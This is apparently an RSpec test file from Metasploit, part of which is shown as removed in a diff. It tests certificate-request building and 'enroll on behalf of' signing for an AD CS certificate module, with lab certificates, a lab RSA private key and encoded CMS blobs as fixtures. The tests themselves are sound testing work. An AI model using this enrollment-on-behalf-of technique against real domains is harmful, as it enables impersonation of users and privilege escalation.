"\x04\x01\x82\x37\x0d\x02\x01\x31\x40\x30\x3e\x1e\x1a\x00\x72\x00\x65\x00" \
"\x71\x00\x75\x00\x65\x00\x73\x00\x74\x00\x65\x00\x72\x00\x6e\x00\x61\x00" \
"\x6d\x00\x65\x1e\x20\x00\x4d\x00\x53\x00\x46\x00\x4c\x00\x41\x00\x42\x00" \
"\x5c\x00\x73\x00\x6d\x00\x63\x00\x69\x00\x6e\x00\x74\x00\x79\x00\x72\x00" \
"\x65\x30\x2f\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x09\x04\x31\x22\x04\x20" \
"\x3f\x40\x73\xc1\x9c\x54\xeb\xbd\x4d\x4f\xab\x27\xfb\x8b\x65\x1a\x2c\x51" \
"\x24\xf9\x97\x05\x91\x04\xaa\xf7\xbc\x6d\xfd\x07\x4d\x70\x30\x0b\x06\x09" \
"\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x04\x82\x01\x00\x78\x74\xf7\xee\xef" \
"\x89\x2f\x02\x77\xb9\xde\x87\x07\x3a\x58\x1d\x2d\xc0\xb0\x55\x33\x40\xf1" \
"\x6f\xb6\x28\xd6\x44\xf1\xfa\x4f\xf6\x99\xe1\xdc\xb2\x2e\x49\x5b\x36\xa7" \
"\xee\x6f\x82\x67\x27\x43\xd5\x99\x57\xc2\x83\x09\x29\xd2\xb3\x86\x9e\x6f" \
"\x75\x78\xdb\xe3\xeb\x33\x65\xce\x7c\xd4\x8f\x65\x73\xa7\x82\xe4\x5e\x50" \
"\xd3\xe8\x76\xd2\x43\x96\xeb\xe5\x3a\xd1\x03\x2e\xa0\x61\xd7\xf2\x6b\x9e" \
"\x0b\x24\x11\x2a\x25\x4d\x68\x5e\x86\x9c\x9b\xe4\xaa\x6c\x5c\x5c\xfe\x54" \
"\x26\x85\xd8\xcc\x0f\xdd\x69\x0f\xf6\xc3\x0b\x7c\xca\x23\xeb\x99\x8c\xc1" \
"\x69\x80\x69\xd2\x14\x1b\x1b\x99\xde\x25\x59\x12\x8d\xb4\xc0\x01\x56\x32" \
"\x91\x76\x8f\x8b\xd4\x29\x2f\x74\x3e\xca\xe0\xd1\xe8\x68\xde\x9d\x1e\x15" \
"\xd9\x07\x41\x82\x14\x2a\xe9\x5c\x03\x81\x80\x04\xf1\x5b\xa5\xea\x21\x72" \
"\x9d\x98\xa0\x23\x46\x25\xb7\x68\x7d\xc2\x58\x80\xfb\x1c\xbb\x76\xba\x76" \
"\x3a\xba\x1c\xd8\x0f\xbf\x21\x36\xce\x03\x94\x8c\x13\xbd\xc7\x87\x42\x06" \
"\x1c\x2b\xc8\x53\xd1\xa7\xba\xea\xfa\xbc\xba\x8e\xd8\x6f\x1c\x34\x28\x8b" \
"\x87\x0d\xbf\x30\x87\xc1\x6e\xcc\x15\xb5\xd7\x2d\xe4\xe6\xa6\xaa\xe6"
)
end
describe '.create_csr' do
let(:result) { described_class.build_csr(private_key: pkcs12_key, cn: 'aliddle' )}
it 'return a Request object' do
expect(result).to be_a(OpenSSL::X509::Request)
end
context 'when building' do
it 'return a Request object' do
expect(result).to be_a(OpenSSL::X509::Request)
end
end
it 'should respond to #to_der' do
expect(result).to respond_to(:to_der)
end
it 'should be correct' do
expect(result.to_der).to eq(x509_csr.to_der)
end
context 'when passed a bad algorithm' do
it 'raises a RuntimeError if the algorithm does not exist' do
expect {
described_class.build_csr(private_key: pkcs12_key,
cn: 'aliddle',
algorithm: 'METASPLOIT')
}.to raise_error(RuntimeError)
end
end
end
describe '#build_on_behalf_of' do
context 'when building' do
let(:result) {
described_class.build_on_behalf_of(
csr: x509_csr,
on_behalf_of: 'MSFLAB\\smcintyre',
cert: pkcs12_certificate,
key: pkcs12_key)}
it 'return a ContentInfo object' do
expect(result).to be_a(Rex::Proto::CryptoAsn1::Cms::ContentInfo)
end
it 'should respond to #to_der' do
expect(result).to respond_to(:to_der)
end
it 'should be correct' do
expect(result.to_der).to eq(content_info.to_der)
end
end
end
context 'when passed a bad algorithm' do
it 'raises a RuntimeError if the algorithm does not exist' do
expect {
described_class.build_on_behalf_of(
csr: x509_csr,
on_behalf_of: 'MSFLAB\\smcintyre',
cert: pkcs12_certificate,
key: pkcs12_key,
algorithm: 'METASPLOIT'
)
}.to raise_error(RuntimeError)
end
it 'raises an ArgumentError if the algorithm exists but can not be mapped to an OID' do
expect {
described_class.build_on_behalf_of(
csr: x509_csr,
on_behalf_of: 'MSFLAB\\smcintyre',
cert: pkcs12_certificate,
key: pkcs12_key,
algorithm: 'MD4'
)
}.to raise_error(ArgumentError)
end
end
# ---------------------------------------------------------------------------
describe '.create_csr' do
it 'returns an OpenSSL::X509::Request' do
expect(described_class.create_csr(pkcs12_key, 'testuser')).to be_a(OpenSSL::X509::Request)
end
it 'sets the CN in the subject' do
result = described_class.create_csr(pkcs12_key, 'testuser')
cn_entry = result.subject.to_a.find { |oid, _value, _type| oid == 'CN' }
expect(cn_entry[1]).to eq('testuser')
end
it 'embeds the correct public key' do
result = described_class.create_csr(pkcs12_key, 'testuser')
expect(result.public_key.to_der).to eq(pkcs12_key.public_key.to_der)
end
it 'produces a CSR that verifies with the private key' do
result = described_class.create_csr(pkcs12_key, 'testuser')
expect(result.verify(pkcs12_key.public_key)).to be true
end
it 'uses SHA256 by default' do
result = described_class.create_csr(pkcs12_key, 'testuser')
expect(result.signature_algorithm).to eq('sha256WithRSAEncryption')
end
it 'uses the provided algorithm' do
result = described_class.create_csr(pkcs12_key, 'testuser', 'SHA512')
expect(result.signature_algorithm).to eq('sha512WithRSAEncryption')
end
it 'yields the request to the block before signing' do
yielded_request = nil
described_class.create_csr(pkcs12_key, 'testuser') { |req| yielded_request = req }
expect(yielded_request).to be_a(OpenSSL::X509::Request)
end
it 'produces a valid CSR even when the block does not modify the request' do
result = described_class.create_csr(pkcs12_key, 'testuser') { |_req| }
expect(result.verify(pkcs12_key.public_key)).to be true
end
end
# ---------------------------------------------------------------------------
describe '.build_csr — subject, key and signature' do
let(:result) { described_class.build_csr(cn: 'alice', private_key: pkcs12_key) }
it 'sets the CN in the subject' do
cn_entry = result.subject.to_a.find { |oid, _value, _type| oid == 'CN' }
expect(cn_entry[1]).to eq('alice')
end
it 'embeds the correct public key' do
expect(result.public_key.to_der).to eq(pkcs12_key.public_key.to_der)
end
it 'produces a CSR that verifies with the private key' do
expect(result.verify(pkcs12_key.public_key)).to be true
end
it 'uses SHA256 by default' do
expect(result.signature_algorithm).to eq('sha256WithRSAEncryption')
end
end
describe '.build_csr — algorithm' do
it 'uses SHA512 when requested' do
result = described_class.build_csr(cn: 'alice', private_key: pkcs12_key, algorithm: 'SHA512')
expect(result.signature_algorithm).to eq('sha512WithRSAEncryption')
end
it 'produces a valid SHA512-signed CSR' do
result = described_class.build_csr(cn: 'alice', private_key: pkcs12_key, algorithm: 'SHA512')
expect(result.verify(pkcs12_key.public_key)).to be true
end
it 'uses SHA1 when requested' do
result = described_class.build_csr(cn: 'alice', private_key: pkcs12_key, algorithm: 'SHA1')
expect(result.signature_algorithm).to eq('sha1WithRSAEncryption')
end
end
describe '.build_csr — extensions' do
context 'with no optional params' do
it 'does not add an extReq attribute' do
result = described_class.build_csr(cn: 'alice', private_key: pkcs12_key)
expect(result.attributes.map(&:oid)).not_to include('extReq')
end
end
context 'with dns:' do
let(:result) { described_class.build_csr(cn: 'alice', private_key: pkcs12_key, dns: 'host.example.com') }
it 'adds an extReq attribute' do
expect(result.attributes.map(&:oid)).to include('extReq')
end
it 'embeds the DNS name in the CSR' do
expect(result.to_der).to include('host.example.com')
end
it 'still produces a verifiable CSR' do
expect(result.verify(pkcs12_key.public_key)).to be true
end
end
context 'with msext_upn:' do
let(:result) { described_class.build_csr(cn: 'alice', private_key: pkcs12_key, msext_upn: 'alice@example.com') }
it 'adds an extReq attribute' do
expect(result.attributes.map(&:oid)).to include('extReq')
end
it 'embeds the UPN in the CSR' do
expect(result.to_der).to include('alice@example.com')
end
it 'still produces a verifiable CSR' do
expect(result.verify(pkcs12_key.public_key)).to be true
end
end
context 'with application_policies:' do
let(:policy_oid) { '1.3.6.1.5.5.7.3.2' }
let(:result) { described_class.build_csr(cn: 'alice', private_key: pkcs12_key, application_policies: [policy_oid]) }
it 'adds an extReq attribute' do
expect(result.attributes.map(&:oid)).to include('extReq')
end
it 'embeds the policy OID in the CSR' do
policy_oid_der = OpenSSL::ASN1::ObjectId.new(policy_oid).to_der
expect(result.to_der).to include(policy_oid_der)
end
it 'still produces a verifiable CSR' do
expect(result.verify(pkcs12_key.public_key)).to be true
end
end
context 'with multiple application policies' do
let(:policy_oids) { ['1.3.6.1.5.5.7.3.2', '1.3.6.1.5.5.7.3.4'] }
let(:result) { described_class.build_csr(cn: 'alice', private_key: pkcs12_key, application_policies: policy_oids) }
it 'embeds all policy OIDs in the CSR' do
policy_oids.each do |oid|
expect(result.to_der).to include(OpenSSL::ASN1::ObjectId.new(oid).to_der)
end
end
end
context 'with dns: and msext_upn: combined' do
let(:result) do
described_class.build_csr(
cn: 'alice',
private_key: pkcs12_key,
dns: 'host.example.com',
msext_upn: 'alice@example.com'
)
end
it 'embeds both the DNS name and the UPN' do
expect(result.to_der).to include('host.example.com')
expect(result.to_der).to include('alice@example.com')
end
end
end
# ---------------------------------------------------------------------------
describe '#build_on_behalf_of — algorithm variants' do
it 'accepts SHA512 and returns a ContentInfo' do
result = described_class.build_on_behalf_of(
csr: x509_csr,
on_behalf_of: 'MSFLAB\\smcintyre',
cert: pkcs12_certificate,
key: pkcs12_key,
algorithm: 'SHA512'
)
expect(result).to be_a(Rex::Proto::CryptoAsn1::Cms::ContentInfo)
end
it 'produces serialisable output with SHA512' do
result = described_class.build_on_behalf_of(
csr: x509_csr,
on_behalf_of: 'MSFLAB\\smcintyre',
cert: pkcs12_certificate,
key: pkcs12_key,
algorithm: 'SHA512'
)
expect { result.to_der }.not_to raise_error
end
it 'accepts SHA1 and returns a ContentInfo' do
result = described_class.build_on_behalf_of(
csr: x509_csr,
on_behalf_of: 'MSFLAB\\smcintyre',
cert: pkcs12_certificate,
key: pkcs12_key,
algorithm: 'SHA1'
)
expect(result).to be_a(Rex::Proto::CryptoAsn1::Cms::ContentInfo)
end
end
describe '#build_on_behalf_of — encapsulated content' do
let(:result) do
described_class.build_on_behalf_of(
csr: x509_csr,
on_behalf_of: 'MSFLAB\\smcintyre',
cert: pkcs12_certificate,
key: pkcs12_key
)
end
it 'embeds the original CSR DER in the output' do
expect(result.to_der).to include(x509_csr.to_der)
end
it 'embeds the on_behalf_of username in the signed attributes' do
# The username is encoded as a BMPString (UCS-2 big-endian) in the EnrollmentNameValuePair
ucs2_username = 'MSFLAB\\smcintyre'.encode('UTF-16BE').b
expect(result.to_der).to include(ucs2_username)
end
end
end
@@ -1,371 +0,0 @@
require 'rspec'
require 'rex/proto/kerberos/model/pkinit'
RSpec.describe 'dcerpc icpr_cert' do
include_context 'Msf::UIDriver'
include_context 'Msf::Simple::Framework#modules loading'
let(:subject) do
load_and_create_module(
module_type: 'auxiliary',
reference_name: 'admin/dcerpc/icpr_cert'
)
end
let(:pkcs12_certificate) do
OpenSSL::X509::Certificate.new(<<~CERTIFICATE)
-----BEGIN CERTIFICATE-----
MIIGyDCCBbCgAwIBAgITEAAAAEOSqzMlvbHDMgAAAAAAQzANBgkqhkiG9w0BAQsF
ADBGMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFjAUBgoJkiaJk/IsZAEZFgZtc2Zs
YWIxFTATBgNVBAMTDG1zZmxhYi1EQy1DQTAeFw0yMjExMDIyMTI4NDZaFw0yMzEx
MDIyMTI4NDZaMHsxFTATBgoJkiaJk/IsZAEZFgVsb2NhbDEWMBQGCgmSJomT8ixk
ARkWBm1zZmxhYjEOMAwGA1UEAxMFVXNlcnMxFTATBgNVBAMTDEFsaWNlIExpZGRs
ZTEjMCEGCSqGSIb3DQEJARYUYWxpZGRsZUBtc2ZsYWIubG9jYWwwggEiMA0GCSqG
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjPSFrdevPYsMZMueAwrSqpyYbLGlvXRA9
j2x7D/gUVZI7O01j6CpMWZ3vbxktL/69Y3VRI2WGu/vLaaIJtmtdjyJSMCLZebfg
6KpvO1O7U5gAKYwyk0+vb8KNypUzYT/b+yIcrmyiFjn4IwwU2BDk+dWLrJ1rbg0l
l1GO6wop1AzMe0gb7yMnR4L4q0E2Tad8hAkL6rhmwJZgbqn1A4eyy+4XBeIg36SD
jIZBd34CE7qgt/vf4mfpeKt3VJmEIthnX5AEM850fN6nbwVgJYtzzpY6LEGoU3Nx
idRhBzG7iwQm5PoHc6BDNytnwBsSFWq2Fllmk7sS6jZ+IB7wdB3nAgMBAAGjggN4
MIIDdDAdBgNVHQ4EFgQUc3dLxeMuOboY7Mcradkczp07hCowHwYDVR0jBBgwFoAU
uZJmsmi7m0bYQV3LFra6OLKxeNAwgcYGA1UdHwSBvjCBuzCBuKCBtaCBsoaBr2xk
YXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPURDLENOPUNEUCxDTj1QdWJsaWMlMjBL
ZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPW1z
ZmxhYixEQz1sb2NhbD9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2Jq
ZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGv
MIGsBggrBgEFBQcwAoaBn2xkYXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPUFJQSxD
Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1
cmF0aW9uLERDPW1zZmxhYixEQz1sb2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2Jq
ZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTAOBgNVHQ8BAf8EBAMCBaAw
PQYJKwYBBAGCNxUHBDAwLgYmKwYBBAGCNxUIgfjYFYbPvgqC9Z0sgZzVVILrlEwX
hei+d4bf3X4CAWQCAQQwNQYDVR0lBC4wLAYIKwYBBQUHAwQGCisGAQQBgjcKAwQG
CCsGAQUFBwMCBgorBgEEAYI3FAIBMEMGCSsGAQQBgjcVCgQ2MDQwCgYIKwYBBQUH
AwQwDAYKKwYBBAGCNwoDBDAKBggrBgEFBQcDAjAMBgorBgEEAYI3FAIBMEUGA1Ud
EQQ+MDygJAYKKwYBBAGCNxQCA6AWDBRhbGlkZGxlQG1zZmxhYi5sb2NhbIEUYWxp
ZGRsZUBtc2ZsYWIubG9jYWwwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEEAYI3GQIB
oDAELlMtMS01LTIxLTM0MDI1ODcyODktMTQ4ODc5ODUzMi0zNjE4Mjk2OTkzLTEx
MDYwRAYJKoZIhvcNAQkPBDcwNTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcNAwQC
AgCAMAcGBSsOAwIHMAoGCCqGSIb3DQMHMA0GCSqGSIb3DQEBCwUAA4IBAQCJsrOx
2GGeRXBYWCMkQ2xPCndIXCvAo/V4N3xYsWzYqKMvW465TTtKzauKOw6K2FJr+uIp
rSKNWA+YBWFUw9mwnGOKs21LJQ6RIL6EDKS3UdHo3Ajp/mTxhlroI2oUuPEWCScN
3HTRKEiQxX+XPe6ANAhlHLBBrE+Znn3tXv/YlXHESpRBOeVtDil8tTvEEY8X+PmL
bvHYmTfCdQ3IzwG6vjAcuqys4n9cWqeNYLIOYGpuD1BHnqvB/erCY/289VlfYXMu
bDBUHpLBTwS4v+hdWByWlyFo3TLCNYi0OaZ/vI1nmiEqUKbPS70M54E+oDDaIrwQ
MPqLl/D4OpKpcKz8
-----END CERTIFICATE-----
CERTIFICATE
end
let(:pkcs12_key) do
OpenSSL::PKey::RSA.new(<<~KEY)
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA4z0ha3Xrz2LDGTLngMK0qqcmGyxpb10QPY9sew/4FFWSOztN
Y+gqTFmd728ZLS/+vWN1USNlhrv7y2miCbZrXY8iUjAi2Xm34OiqbztTu1OYACmM
MpNPr2/CjcqVM2E/2/siHK5sohY5+CMMFNgQ5PnVi6yda24NJZdRjusKKdQMzHtI
G+8jJ0eC+KtBNk2nfIQJC+q4ZsCWYG6p9QOHssvuFwXiIN+kg4yGQXd+AhO6oLf7
3+Jn6Xird1SZhCLYZ1+QBDPOdHzep28FYCWLc86WOixBqFNzcYnUYQcxu4sEJuT6
B3OgQzcrZ8AbEhVqthZZZpO7Euo2fiAe8HQd5wIDAQABAoIBAEGT5a4eZMP/q2/9
OcP17K+G9z9GTNMfl008s8C79grgOwgu8AGSAYrxHdv4QtrAjBJZvoSA447Dd0HX
pTSKWWexo+T2EUiTkNYuLulUxLA9ypLZaqU5z/hAF3RV70LZoNU6HzkJuT35jhcm
/hiR1iZOVyss0G0tYEvl5FqLR+6TwQ+fT1LIszXvX0Fmhz2Lpun90LLBH4qqsrKs
5eFFEXetwJu4oyoM3yGEWTVJagGRC8grf4mWoh8+7ZPkMVUTgV05Z//AhdDDhPhx
VV8YK/F20NTdRn+FNYSMW3IlzT7ezYn6B8SteFmN+WHBhgV2Bcdz4T8WuOjU5m8h
SOs+KOkCgYEA/YXqnmirjdSHyBl1RGNDe2+BcR5KFIPimhSpbM5vjb9/i9mjHA94
MkLsMXVp28AugFZ3mQY20JvNOEssNtybsLXeV9GDAbP6tZaONdHUSTqnpygxglZX
xda6vKBsoPUQIRjMUCqSGFW/ZLlkbT5Xr/wudJiQ73zJ/qbHuW+fIQUCgYEA5XV5
hIQ6LROVajdKViikBpbEKFwNyarFqDGgAh6QzI4hPeBn8iTy+C69O8048ahp8K4g
m71PjWyLPMZtQ+zAZDOScojaAhsOt+UPId/BEBCkorTTWolVm8uJ/kjx9cF8FgiJ
/NA1V+qRHZ/SdRzmmpYKe0EJk59cGKeU7WToJvsCgYEAsfguSWGE/J1za/6jGYzt
NFuEbJosutYSXsOeY+lO2hzSNqRjIjGh2Patw9J+q2rvudv5PQzlse+NUrVCpoib
KqOhH9jNtIZZutujnRhdg8KPKoLGro5aM2GX2Q5s81jVJ8a2tpgL0tVu9BBI9X9M
IxhOrD7lj5j0W7VMg1peRNkCgYBBoVUtgwiExhoxdDkN5bfsrojSpmnHKdI5JmCG
2qk96NU3No1kpA7ez7eOeEd2T15l2dg303ECmW5F5tdv2zK4NkwH+H6qpYSTMrAe
VzqIVspQQ3pEZg2XbyM8GS8jxMCyKKUXK5JmYBA7se/nUWngA1RiJpsPn0AfSSd+
syL3qwKBgQD423ueq9DouleYCK1tpFGZSyCQ8ER/X0zv92g9v6ecRLTrwhdCe2o8
aW/QRplhZZFK4XYtwn4BlD+IYylbIUZwyD6HIHE3xCkADuSTFwhyDdzet1+oaSxO
C31WYyAVgMWh7+0BJbAY2x7yVa0+1XQn0i2TpVQgaUx9/SNBaLeDoA==
-----END RSA PRIVATE KEY-----
KEY
end
let(:x509_csr) do
OpenSSL::X509::Request.new(<<~REQUEST)
-----BEGIN CERTIFICATE REQUEST-----
MIICVzCCAT8CAQAwEjEQMA4GA1UEAwwHYWxpZGRsZTCCASIwDQYJKoZIhvcNAQEB
BQADggEPADCCAQoCggEBAOM9IWt1689iwxky54DCtKqnJhssaW9dED2PbHsP+BRV
kjs7TWPoKkxZne9vGS0v/r1jdVEjZYa7+8tpogm2a12PIlIwItl5t+Doqm87U7tT
mAApjDKTT69vwo3KlTNhP9v7IhyubKIWOfgjDBTYEOT51YusnWtuDSWXUY7rCinU
DMx7SBvvIydHgvirQTZNp3yECQvquGbAlmBuqfUDh7LL7hcF4iDfpIOMhkF3fgIT
uqC3+9/iZ+l4q3dUmYQi2GdfkAQzznR83qdvBWAli3POljosQahTc3GJ1GEHMbuL
BCbk+gdzoEM3K2fAGxIVarYWWWaTuxLqNn4gHvB0HecCAwEAAaAAMA0GCSqGSIb3
DQEBCwUAA4IBAQAyU7goEqpmHfulRkaMAtna+7mpVdUsuGXidsP2AFyDmiBOUtR/
gQoXeTwWQ62vKSmD0+gSnxDbokq4T8hif/cR8WZ1jZQXE0JR9FPI/qGs/6D5e56S
b7W3buC6UuON58pJmtrX7PtNUGg0FOn6jGB1jwEHtc+4sel24j7VMfzt3nuY/KTD
abGLQioi9iaVEbJ6pKmBaHGcEswFiqGBGWI1zrSVIYyNy67SK3/P3RWyHHNJeS2a
x7RMqHkWOXXjxqbM68i6tCL+2NstTzXI6mQkXWkOXU8d39wn/MqLyPdY0ZM7Lv/y
i506vK8iofDDYoHxz8YwaPU1DOCfu+T83nPg
-----END CERTIFICATE REQUEST-----
REQUEST
end
let(:content_info) do
Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(
"\x30\x82\x0b\x71\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x07\x02\xa0\x82\x0b" \
"\x62\x30\x82\x0b\x5e\x02\x01\x03\x31\x0d\x30\x0b\x06\x09\x60\x86\x48\x01" \
"\x65\x03\x04\x02\x01\x30\x82\x02\x6c\x06\x07\x2b\x06\x01\x05\x02\x03\x01" \
"\xa0\x82\x02\x5f\x04\x82\x02\x5b\x30\x82\x02\x57\x30\x82\x01\x3f\x02\x01" \
"\x00\x30\x12\x31\x10\x30\x0e\x06\x03\x55\x04\x03\x0c\x07\x61\x6c\x69\x64" \
"\x64\x6c\x65\x30\x82\x01\x22\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01" \
"\x01\x01\x05\x00\x03\x82\x01\x0f\x00\x30\x82\x01\x0a\x02\x82\x01\x01\x00" \
"\xe3\x3d\x21\x6b\x75\xeb\xcf\x62\xc3\x19\x32\xe7\x80\xc2\xb4\xaa\xa7\x26" \
"\x1b\x2c\x69\x6f\x5d\x10\x3d\x8f\x6c\x7b\x0f\xf8\x14\x55\x92\x3b\x3b\x4d" \
"\x63\xe8\x2a\x4c\x59\x9d\xef\x6f\x19\x2d\x2f\xfe\xbd\x63\x75\x51\x23\x65" \
"\x86\xbb\xfb\xcb\x69\xa2\x09\xb6\x6b\x5d\x8f\x22\x52\x30\x22\xd9\x79\xb7" \
"\xe0\xe8\xaa\x6f\x3b\x53\xbb\x53\x98\x00\x29\x8c\x32\x93\x4f\xaf\x6f\xc2" \
"\x8d\xca\x95\x33\x61\x3f\xdb\xfb\x22\x1c\xae\x6c\xa2\x16\x39\xf8\x23\x0c" \
"\x14\xd8\x10\xe4\xf9\xd5\x8b\xac\x9d\x6b\x6e\x0d\x25\x97\x51\x8e\xeb\x0a" \
"\x29\xd4\x0c\xcc\x7b\x48\x1b\xef\x23\x27\x47\x82\xf8\xab\x41\x36\x4d\xa7" \
"\x7c\x84\x09\x0b\xea\xb8\x66\xc0\x96\x60\x6e\xa9\xf5\x03\x87\xb2\xcb\xee" \
"\x17\x05\xe2\x20\xdf\xa4\x83\x8c\x86\x41\x77\x7e\x02\x13\xba\xa0\xb7\xfb" \
"\xdf\xe2\x67\xe9\x78\xab\x77\x54\x99\x84\x22\xd8\x67\x5f\x90\x04\x33\xce" \
"\x74\x7c\xde\xa7\x6f\x05\x60\x25\x8b\x73\xce\x96\x3a\x2c\x41\xa8\x53\x73" \
"\x71\x89\xd4\x61\x07\x31\xbb\x8b\x04\x26\xe4\xfa\x07\x73\xa0\x43\x37\x2b" \
"\x67\xc0\x1b\x12\x15\x6a\xb6\x16\x59\x66\x93\xbb\x12\xea\x36\x7e\x20\x1e" \
"\xf0\x74\x1d\xe7\x02\x03\x01\x00\x01\xa0\x00\x30\x0d\x06\x09\x2a\x86\x48" \
"\x86\xf7\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x32\x53\xb8\x28\x12" \
"\xaa\x66\x1d\xfb\xa5\x46\x46\x8c\x02\xd9\xda\xfb\xb9\xa9\x55\xd5\x2c\xb8" \
"\x65\xe2\x76\xc3\xf6\x00\x5c\x83\x9a\x20\x4e\x52\xd4\x7f\x81\x0a\x17\x79" \
"\x3c\x16\x43\xad\xaf\x29\x29\x83\xd3\xe8\x12\x9f\x10\xdb\xa2\x4a\xb8\x4f" \
"\xc8\x62\x7f\xf7\x11\xf1\x66\x75\x8d\x94\x17\x13\x42\x51\xf4\x53\xc8\xfe" \
"\xa1\xac\xff\xa0\xf9\x7b\x9e\x92\x6f\xb5\xb7\x6e\xe0\xba\x52\xe3\x8d\xe7" \
"\xca\x49\x9a\xda\xd7\xec\xfb\x4d\x50\x68\x34\x14\xe9\xfa\x8c\x60\x75\x8f" \
"\x01\x07\xb5\xcf\xb8\xb1\xe9\x76\xe2\x3e\xd5\x31\xfc\xed\xde\x7b\x98\xfc" \
"\xa4\xc3\x69\xb1\x8b\x42\x2a\x22\xf6\x26\x95\x11\xb2\x7a\xa4\xa9\x81\x68" \
"\x71\x9c\x12\xcc\x05\x8a\xa1\x81\x19\x62\x35\xce\xb4\x95\x21\x8c\x8d\xcb" \
"\xae\xd2\x2b\x7f\xcf\xdd\x15\xb2\x1c\x73\x49\x79\x2d\x9a\xc7\xb4\x4c\xa8" \
"\x79\x16\x39\x75\xe3\xc6\xa6\xcc\xeb\xc8\xba\xb4\x22\xfe\xd8\xdb\x2d\x4f" \
"\x35\xc8\xea\x64\x24\x5d\x69\x0e\x5d\x4f\x1d\xdf\xdc\x27\xfc\xca\x8b\xc8" \
"\xf7\x58\xd1\x93\x3b\x2e\xff\xf2\x8b\x9d\x3a\xbc\xaf\x22\xa1\xf0\xc3\x62" \
"\x81\xf1\xcf\xc6\x30\x68\xf5\x35\x0c\xe0\x9f\xbb\xe4\xfc\xde\x73\xe0\xa0" \
"\x82\x06\xcc\x30\x82\x06\xc8\x30\x82\x05\xb0\xa0\x03\x02\x01\x02\x02\x13" \
"\x10\x00\x00\x00\x43\x92\xab\x33\x25\xbd\xb1\xc3\x32\x00\x00\x00\x00\x00" \
"\x43\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x05\x00\x30\x46" \
"\x31\x15\x30\x13\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05" \
"\x6c\x6f\x63\x61\x6c\x31\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c" \
"\x64\x01\x19\x16\x06\x6d\x73\x66\x6c\x61\x62\x31\x15\x30\x13\x06\x03\x55" \
"\x04\x03\x13\x0c\x6d\x73\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x30\x1e" \
"\x17\x0d\x32\x32\x31\x31\x30\x32\x32\x31\x32\x38\x34\x36\x5a\x17\x0d\x32" \
"\x33\x31\x31\x30\x32\x32\x31\x32\x38\x34\x36\x5a\x30\x7b\x31\x15\x30\x13" \
"\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05\x6c\x6f\x63\x61" \
"\x6c\x31\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16" \
"\x06\x6d\x73\x66\x6c\x61\x62\x31\x0e\x30\x0c\x06\x03\x55\x04\x03\x13\x05" \
"\x55\x73\x65\x72\x73\x31\x15\x30\x13\x06\x03\x55\x04\x03\x13\x0c\x41\x6c" \
"\x69\x63\x65\x20\x4c\x69\x64\x64\x6c\x65\x31\x23\x30\x21\x06\x09\x2a\x86" \
"\x48\x86\xf7\x0d\x01\x09\x01\x16\x14\x61\x6c\x69\x64\x64\x6c\x65\x40\x6d" \
"\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63\x61\x6c\x30\x82\x01\x22\x30\x0d\x06" \
"\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x00\x30" \
"\x82\x01\x0a\x02\x82\x01\x01\x00\xe3\x3d\x21\x6b\x75\xeb\xcf\x62\xc3\x19" \
"\x32\xe7\x80\xc2\xb4\xaa\xa7\x26\x1b\x2c\x69\x6f\x5d\x10\x3d\x8f\x6c\x7b" \
"\x0f\xf8\x14\x55\x92\x3b\x3b\x4d\x63\xe8\x2a\x4c\x59\x9d\xef\x6f\x19\x2d" \
"\x2f\xfe\xbd\x63\x75\x51\x23\x65\x86\xbb\xfb\xcb\x69\xa2\x09\xb6\x6b\x5d" \
"\x8f\x22\x52\x30\x22\xd9\x79\xb7\xe0\xe8\xaa\x6f\x3b\x53\xbb\x53\x98\x00" \
"\x29\x8c\x32\x93\x4f\xaf\x6f\xc2\x8d\xca\x95\x33\x61\x3f\xdb\xfb\x22\x1c" \
"\xae\x6c\xa2\x16\x39\xf8\x23\x0c\x14\xd8\x10\xe4\xf9\xd5\x8b\xac\x9d\x6b" \
"\x6e\x0d\x25\x97\x51\x8e\xeb\x0a\x29\xd4\x0c\xcc\x7b\x48\x1b\xef\x23\x27" \
"\x47\x82\xf8\xab\x41\x36\x4d\xa7\x7c\x84\x09\x0b\xea\xb8\x66\xc0\x96\x60" \
"\x6e\xa9\xf5\x03\x87\xb2\xcb\xee\x17\x05\xe2\x20\xdf\xa4\x83\x8c\x86\x41" \
"\x77\x7e\x02\x13\xba\xa0\xb7\xfb\xdf\xe2\x67\xe9\x78\xab\x77\x54\x99\x84" \
"\x22\xd8\x67\x5f\x90\x04\x33\xce\x74\x7c\xde\xa7\x6f\x05\x60\x25\x8b\x73" \
"\xce\x96\x3a\x2c\x41\xa8\x53\x73\x71\x89\xd4\x61\x07\x31\xbb\x8b\x04\x26" \
"\xe4\xfa\x07\x73\xa0\x43\x37\x2b\x67\xc0\x1b\x12\x15\x6a\xb6\x16\x59\x66" \
